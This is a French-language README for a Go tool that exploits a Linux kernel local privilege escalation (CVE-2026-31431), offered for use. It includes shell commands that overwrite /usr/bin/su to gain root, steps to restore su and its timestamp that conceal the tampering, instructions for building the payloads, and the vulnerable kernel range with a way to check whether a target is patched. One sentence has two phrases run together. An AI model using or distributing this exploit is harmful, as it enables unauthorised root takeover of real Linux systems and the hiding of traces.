
Une implémentation Go de copyfail (CVE-2026-31431)
La plupart des LPE Linux nécessitent une fenêtre de course ou un offset spécifique au noyau. Copy Fail est une faille de logique en ligne droite — elle n'a besoin d'aucun des deux. Le même
script Python de 732 octetsbinaire Go statique donne les droits root sur toutes les distributions Linux publiées depuis 2017.
Une implémentation Go de CVE-2026-31431. Au cas où vous auriez besoin d'un binaire statique et d'aucune dépendance Python.
Voir copy.fail pour plus d'informations.
# Récupérez le binaire sur votre hôte Linux avec exécution de code (exercice pour le lecteur)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su
root@host# cat /tmp/su > /usr/bin/su # Restaurez le binaire su d'origine
root@host# touch -r /tmp/su /usr/bin/su # Restaurez l'heure de modification du su d'origine
root@host# rm /tmp/su
root@host# # Faites des choses en tant que root =)
Utile pour élever un programme aux droits root
# Récupérez le binaire sur votre hôte Linux avec exécution de code (exercice pour le lecteur)
user@host$ chmod +x copyfail-go
user@host$ ./copyfail-go --backup /tmp/su --exec ./votre-binaire
user@host$ # Utilisez ce que vous avez exécuté pour restaurer su depuis /tmp/su
Compilez les payloads vous-même avec payloads/build-n-print.sh sur un hôte Debian (Debian 13 testé).
Vous devrez apt install nasm python3 binutils-aarch64-linux-gnu binutils-arm-linux-gnueabihf puis exécuter le script depuis le répertoire payloads. Il compilera chaque payload et affichera les chaînes hexadécimales compressées zlib. Comparez-les à celles présentes dans main.go (ou remplacez-les par les vôtres) et construisez les binaires copyfile-go avec goreleaser build --snapshot --clean depuis le répertoire principal du projet.
floor: torvalds/linux 72548b093ee3 août 2017, v4.14
(refonte d'iov_iter d'AF_ALG qui
a introduit la primitive d'écriture
de page-fichier via splice dans le
scatterlist AEAD)
ceiling: torvalds/linux a664bf3d603d avril 2026, mainline
(annule l'optimisation en place
algif_aead de 2017 ; sépare les
scatterlists source et destination
afin que les pages du cache de pages
ne puissent plus être une destination
cryptographique inscriptible)
Entre les deux : tous les noyaux majeurs de distributions qui n'ont pas rétroporté le correctif.
Ubuntu, RHEL, SUSE, Amazon Linux et Debian ont tous été confirmés vulnérables
dans leurs noyaux d'images cloud standard au moment de la divulgation. Les
rétroportages au niveau des distributions ont commencé à être déployés vers le 2026-04-29
en même temps que la divulgation publique. Pour vérifier si un noyau cible est dans la fenêtre,
vérifiez si a664bf3d603d (ou son rétroportage spécifique à la distribution) est présent dans le
journal git du noyau ou dans le changelog de la distribution.